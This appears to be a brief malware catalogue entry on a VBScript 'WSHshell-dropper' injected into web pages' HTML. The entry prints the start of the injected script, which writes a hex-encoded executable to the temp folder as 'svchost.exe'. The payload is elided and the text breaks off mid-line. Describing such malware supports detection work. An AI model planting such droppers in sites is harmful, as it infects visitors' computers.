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VBScript malwares are usually written to act as an accomplice to other malicious code, dropping and executing other files in the Windows enviromnent. It mostly targeting older versions Internet Explorer browser.
WSHshell-dropper script is being injected into HTML code of web pages. It embeds the code of a binary malicious file that it drops on a visitors' comuters with enabled Windows Script Host (windows scripting engine).


Any websites.


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<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000A....skipped long code here......00000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath